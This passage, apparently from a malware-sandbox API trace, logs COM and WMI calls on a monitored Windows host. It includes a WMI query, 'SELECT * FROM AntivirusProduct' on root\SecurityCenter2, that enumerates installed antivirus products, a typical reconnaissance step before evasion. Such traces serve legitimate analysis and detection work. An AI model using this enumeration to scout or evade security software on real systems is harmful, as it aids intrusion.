[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc090 | out: ppvObject=0x1afbc090*=0x1b233938) returned 0x0 [0169.585] WbemLocator:IUnknown:Release (This=0x1b233938) returned 0x3 [0169.585] WbemLocator:IUnknown:Release (This=0x1b233938) returned 0x2 [0169.585] CoGetContextToken (in: pToken=0x1afbc1c0 | out: pToken=0x1afbc1c0) returned 0x0 [0169.585] WbemLocator:IUnknown:AddRef (This=0x1b2181d0) returned 0x3 [0169.585] IWbemServices:ExecQuery (in: This=0x1b2181d0, strQueryLanguage="WQL", strQuery="SELECT * FROM AntivirusProduct", lFlags=16, pCtx=0x0, ppEnum=0x1afbc668 | out: ppEnum=0x1afbc668*=0x1b22d3b0) returned 0x0 [0169.617] IUnknown:QueryInterface (in: This=0x1b22d3b0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc338 | out: ppvObject=0x1afbc338*=0x1b22d3b8) returned 0x0 [0169.617] IClientSecurity:QueryBlanket (in: This=0x1b22d3b8, pProxy=0x1b22d3b0, pAuthnSvc=0x1afbc400, pAuthzSvc=0x1afbc380, pServerPrincName=0x1afbc3a8, pAuthnLevel=0x1afbc384, pImpLevel=0x1afbc390, pAuthInfo=0x1afbc3b8, pCapabilites=0x1afbc394 | out: pAuthnSvc=0x1afbc400*=0xa, pAuthzSvc=0x1afbc380*=0x0, pServerPrincName=0x1afbc3a8, pAuthnLevel=0x1afbc384*=0x6, pImpLevel=0x1afbc390*=0x2, pAuthInfo=0x1afbc3b8, pCapabilites=0x1afbc394*=0x1) returned 0x0 [0169.617] IUnknown:Release (This=0x1b22d3b8) returned 0x1 [0169.617] IUnknown:QueryInterface (in: This=0x1b22d3b0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc2d0 | out: ppvObject=0x1afbc2d0*=0x1b233798) returned 0x0 [0169.617] IUnknown:QueryInterface (in: This=0x1b22d3b0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc2e0 | out: ppvObject=0x1afbc2e0*=0x1b22d3b8) returned 0x0 [0169.617] IClientSecurity:SetBlanket (This=0x1b22d3b8, pProxy=0x1b22d3b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.621] IUnknown:Release (This=0x1b22d3b8) returned 0x2 [0169.621] WbemLocator:IUnknown:Release (This=0x1b233798) returned 0x1 [0169.621] CoTaskMemFree (pv=0x1b203c80) [0169.621] IUnknown:QueryInterface (in: This=0x1b22d3b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbda0 | out: ppvObject=0x1afbbda0*=0x1b233798) returned 0x0 [0169.621] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233798, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbe30 | out: ppvObject=0x1afbbe30*=0x0) returned 0x80004002 [0169.622] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233798, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbba50 | out: ppvObject=0x1afbba50*=0x0) returned 0x80004002 [0169.623] IUnknown:QueryInterface (in: This=0x1b22d3b0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb628 | out: ppvObject=0x1afbb628*=0x0) returned 0x80004002 [0169.623] WbemLocator:IUnknown:AddRef (This=0x1b233798) returned 0x3 [0169.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233798, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb4e8 | out: ppvObject=0x1afbb4e8*=0x0) returned 0x80004002 [0169.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233798, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb470 | out: ppvObject=0x1afbb470*=0x0) returned 0x80004002 [0169.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233798, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb460 | out: ppvObject=0x1afbb460*=0x1b233678) returned 0x0 [0169.624] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b233678, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb488 | out: pCid=0x1afbb488*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.624] WbemLocator:IUnknown:Release (This=0x1b233678) returned 0x3 [0169.624] CoGetContextToken (in: pToken=0x1afbb510 | out: pToken=0x1afbb510) returned 0x0 [0169.624] CoGetContextToken (in: pToken=0x1afbb990 | out: pToken=0x1afbb990) returned 0x0 [0169.624] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233798, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbba50 | out: ppvObject=0x1afbba50*=0x1b233760) returned 0x0 [0169.624] WbemLocator:IRpcOptions:Query (in: This=0x1b233760, pPrx=0x1b233798, dwProperty=2, pdwValue=0x1afbba40 | out: pdwValue=0x1afbba40) returned 0x80004002 [0169.624] WbemLocator:IUnknown:Release (This=0x1b233760) returned 0x3 [0169.624] WbemLocator:IUnknown:Release (This=0x1b233798) returned 0x2 [0169.624] CoGetContextToken (in: pToken=0x1afbc050 | out: pToken=0x1afbc050) returned 0x0 [0169.624] CoGetContextToken (in: pToken=0x1afbbf50 | out: pToken=0x1afbbf50) returned 0x0 [0169.624] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233798, riid=0x1afbc0b0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc080 | out: ppvObject=0x1afbc080*=0x1b22d3b0) returned 0x0 [0169.624] IUnknown:AddRef (This=0x1b22d3b0) returned 0x4 [0169.624] IUnknown:Release (This=0x1b22d3b0) returned 0x3 [0169.624] IUnknown:Release (This=0x1b22d3b0) returned 0x2 [0169.624] WbemLocator:IUnknown:Release (This=0x1b2181d0) returned 0x2 [0169.624] SysStringLen (param_1=0x0) returned 0x0 [0169.624] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231820, puCount=0x1afbc6a8 | out: puCount=0x1afbc6a8*=0x2) returned 0x0 [0169.624] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc6a0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc6a0*=0x19, pszText=0x0) returned 0x0 [0169.624] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc6a0*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc6a0*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.625] CoGetContextToken (in: pToken=0x1afbc220 | out: pToken=0x1afbc220) returned 0x0 [0169.625] IUnknown:AddRef (This=0x1b22d3b0) returned 0x3 [0169.625] IEnumWbemClassObject:Clone (in: This=0x1b22d3b0, ppEnum=0x1afbc620 | out: ppEnum=0x1afbc620*=0x1b22df80) returned 0x0 [0169.626] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc3a8 | out: ppvObject=0x1afbc3a8*=0x1b22df88) returned 0x0 [0169.626] IClientSecurity:QueryBlanket (in: This=0x1b22df88, pProxy=0x1b22df80, pAuthnSvc=0x1afbc470, pAuthzSvc=0x1afbc3f0, pServerPrincName=0x1afbc418, pAuthnLevel=0x1afbc3f4, pImpLevel=0x1afbc400, pAuthInfo=0x1afbc428, pCapabilites=0x1afbc404 | out: pAuthnSvc=0x1afbc470*=0xa, pAuthzSvc=0x1afbc3f0*=0x0, pServerPrincName=0x1afbc418, pAuthnLevel=0x1afbc3f4*=0x6, pImpLevel=0x1afbc400*=0x2, pAuthInfo=0x1afbc428, pCapabilites=0x1afbc404*=0x1) returned 0x0 [0169.626] IUnknown:Release (This=0x1b22df88) returned 0x1 [0169.626] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc340 | out: ppvObject=0x1afbc340*=0x1b233458) returned 0x0 [0169.626] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc350 | out: ppvObject=0x1afbc350*=0x1b22df88) returned 0x0 [0169.627] IClientSecurity:SetBlanket (This=0x1b22df88, pProxy=0x1b22df80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.629] IUnknown:Release (This=0x1b22df88) returned 0x2 [0169.629] WbemLocator:IUnknown:Release (This=0x1b233458) returned 0x1 [0169.629] CoTaskMemFree (pv=0x1b204190) [0169.629] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbe00 | out: ppvObject=0x1afbbe00*=0x1b233458) returned 0x0 [0169.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbe90 | out: ppvObject=0x1afbbe90*=0x0) returned 0x80004002 [0169.631] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbab0 | out: ppvObject=0x1afbbab0*=0x0) returned 0x80004002 [0169.638] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb688 | out: ppvObject=0x1afbb688*=0x0) returned 0x80004002 [0169.639] WbemLocator:IUnknown:AddRef (This=0x1b233458) returned 0x3 [0169.639] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb548 | out: ppvObject=0x1afbb548*=0x0) returned 0x80004002 [0169.639] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb4d0 | out: ppvObject=0x1afbb4d0*=0x0) returned 0x80004002 [0169.639] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb4c0 | out: ppvObject=0x1afbb4c0*=0x1b233338) returned 0x0 [0169.639] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b233338, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb4e8 | out: pCid=0x1afbb4e8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.639] WbemLocator:IUnknown:Release (This=0x1b233338) returned 0x3 [0169.639] CoGetContextToken (in: pToken=0x1afbb570 | out: pToken=0x1afbb570) returned 0x0 [0169.639] CoGetContextToken (in: pToken=0x1afbb9f0 | out: pToken=0x1afbb9f0) returned 0x0 [0169.639] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbab0 | out: ppvObject=0x1afbbab0*=0x1b233420) returned 0x0 [0169.639] WbemLocator:IRpcOptions:Query (in: This=0x1b233420, pPrx=0x1b233458, dwProperty=2, pdwValue=0x1afbbaa0 | out: pdwValue=0x1afbbaa0) returned 0x80004002 [0169.639] WbemLocator:IUnknown:Release (This=0x1b233420) returned 0x3 [0169.639] WbemLocator:IUnknown:Release (This=0x1b233458) returned 0x2 [0169.639] CoGetContextToken (in: pToken=0x1afbc0b0 | out: pToken=0x1afbc0b0) returned 0x0 [0169.640] CoGetContextToken (in: pToken=0x1afbbfb0 | out: pToken=0x1afbbfb0) returned 0x0 [0169.640] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x1afbc110*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc0e0 | out: ppvObject=0x1afbc0e0*=0x1b22df80) returned 0x0 [0169.640] IUnknown:AddRef (This=0x1b22df80) returned 0x4 [0169.640] IUnknown:Release (This=0x1b22df80) returned 0x3 [0169.640] IUnknown:Release (This=0x1b22df80) returned 0x2 [0169.640] IUnknown:Release (This=0x1b22d3b0) returned 0x2 [0169.640] SysStringLen (param_1=0x0) returned 0x0 [0169.640] IEnumWbemClassObject:Reset (This=0x1b22df80) returned 0x0 [0169.644] CoTaskMemAlloc (cb=0x8) returned 0x1b1dd2d0 [0169.644] IEnumWbemClassObject:Next (in: This=0x1b22df80, lTimeout=-1, uCount=0x1, apObjects=0x1b1dd2d0, puReturned=0x2a76258 | out: apObjects=0x1b1dd2d0*=0x1b2293d0, puReturned=0x2a76258*=0x1) returned 0x0 [0169.648] IUnknown:QueryInterface (in: This=0x1b2293d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb9a0 | out: ppvObject=0x1afbb9a0*=0x1b2293d0) returned 0x0 [0169.648] IUnknown:QueryInterface (in: This=0x1b2293d0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbba30 | out: ppvObject=0x1afbba30*=0x0) returned 0x80004002 [0169.648] IUnknown:QueryInterface (in: This=0x1b2293d0, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb650 | out: ppvObject=0x1afbb650*=0x0) returned 0x80004002 [0169.648] IUnknown:QueryInterface (in: This=0x1b2293d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb228 | out: ppvObject=0x1afbb228*=0x0) returned 0x80004002 [0169.649] IUnknown:AddRef (This=0x1b2293d0) returned 0x3 [0169.649] IUnknown:QueryInterface (in: This=0x1b2293d0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb0e8 | out: ppvObject=0x1afbb0e8*=0x0) returned 0x80004002 [0169.649] IUnknown:QueryInterface (in: This=0x1b2293d0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb070 | out: ppvObject=0x1afbb070*=0x0) returned 0x80004002 [0169.649] IUnknown:QueryInterface (in: This=0x1b2293d0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb060 | out: ppvObject=0x1afbb060*=0x1b2293d8) returned 0x0 [0169.649] IMarshal:GetUnmarshalClass (in: This=0x1b2293d8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb088 | out: pCid=0x1afbb088*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0169.649] IUnknown:Release (This=0x1b2293d8) returned 0x3 [0169.649] CoGetContextToken (in: pToken=0x1afbb110 | out: pToken=0x1afbb110) returned 0x0 [0169.649] CoGetContextToken (in: pToken=0x1afbb590 | out: pToken=0x1afbb590) returned 0x0 [0169.649] IUnknown:QueryInterface (in: This=0x1b2293d0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb650 | out: ppvObject=0x1afbb650*=0x0) returned 0x80004002 [0169.649] IUnknown:Release (This=0x1b2293d0) returned 0x2 [0169.649] CoGetContextToken (in: pToken=0x1afbbc50 | out: pToken=0x1afbbc50) returned 0x0 [0169.649] CoGetContextToken (in: pToken=0x1afbbb50 | out: pToken=0x1afbbb50) returned 0x0 [0169.650] IUnknown:QueryInterface (in: This=0x1b2293d0, riid=0x1afbbcb0*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbbc80 | out: ppvObject=0x1afbbc80*=0x1b2293d0) returned 0x0 [0169.650] IUnknown:AddRef (This=0x1b2293d0) returned 0x4 [0169.650] IUnknown:Release (This=0x1b2293d0) returned 0x3 [0169.650] IUnknown:Release (This=0x1b2293d0) returned 0x2 [0169.650] CoTaskMemFree (pv=0x1b1dd2d0) [0169.650] CoGetContextToken (in: pToken=0x1afbc020 | out: pToken=0x1afbc020) returned 0x0 [0169.650] IUnknown:AddRef (This=0x1b2293d0) returned 0x3 [0169.650] IWbemClassObject:Get (in: This=0x1b2293d0, wszName="__GENUS", lFlags=0, pVal=0x1afbc5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc708*=0, plFlavor=0x1afbc700*=0 | out: pVal=0x1afbc5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1afbc708*=3, plFlavor=0x1afbc700*=64) returned 0x0 [0169.650] IWbemClassObject:Get (in: This=0x1b2293d0, wszName="__PATH", lFlags=0, pVal=0x1afbc590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc6c0*=0, plFlavor=0x1afbc6b8*=0 | out: pVal=0x1afbc590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\SecurityCenter2:AntiVirusProduct.instanceGuid=\"{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}\"", varVal2=0x0), pType=0x1afbc6c0*=8, plFlavor=0x1afbc6b8*=64) returned 0x0 [0169.650] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\SecurityCenter2:AntiVirusProduct.instanceGuid=\"{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}\"") returned 0xc8 [0169.650] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\SecurityCenter2:AntiVirusProduct.instanceGuid=\"{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}\"") returned 0xc8 [0169.650] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc608 | out: ppv=0x1afbc608*=0x77dd58) returned 0x0 [0169.650] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc5f8 | out: pAptType=0x1afbc5f8*=1) returned 0x0 [0169.650] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc600 | out: ppvObject=0x1afbc600*=0x0) returned 0x80004002 [0169.650] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.651] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbb9f8 | out: ppv=0x1afbb9f8*=0x1b2285c0) returned 0x0 [0169.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2285c0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbae0 | out: ppvObject=0x1afbbae0*=0x0) returned 0x80004002 [0169.651] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b2285c0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbab8 | out: ppvObject=0x1afbbab8*=0x1b232420) returned 0x0 [0169.651] WbemDefPath:IUnknown:Release (This=0x1b2285c0) returned 0x0 [0169.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232420, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb860 | out: ppvObject=0x1afbb860*=0x1b232420) returned 0x0 [0169.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232420, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb8f0 | out: ppvObject=0x1afbb8f0*=0x0) returned 0x80004002 [0169.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232420, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb0e8 | out: ppvObject=0x1afbb0e8*=0x0) returned 0x80004002 [0169.652] WbemDefPath:IUnknown:AddRef (This=0x1b232420) returned 0x3 [0169.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232420, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbafa8 | out: ppvObject=0x1afbafa8*=0x0) returned 0x80004002 [0169.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232420, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbaf30 | out: ppvObject=0x1afbaf30*=0x0) returned 0x80004002 [0169.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232420, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbaf20 | out: ppvObject=0x1afbaf20*=0x1b2280e0) returned 0x0 [0169.652] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b2280e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 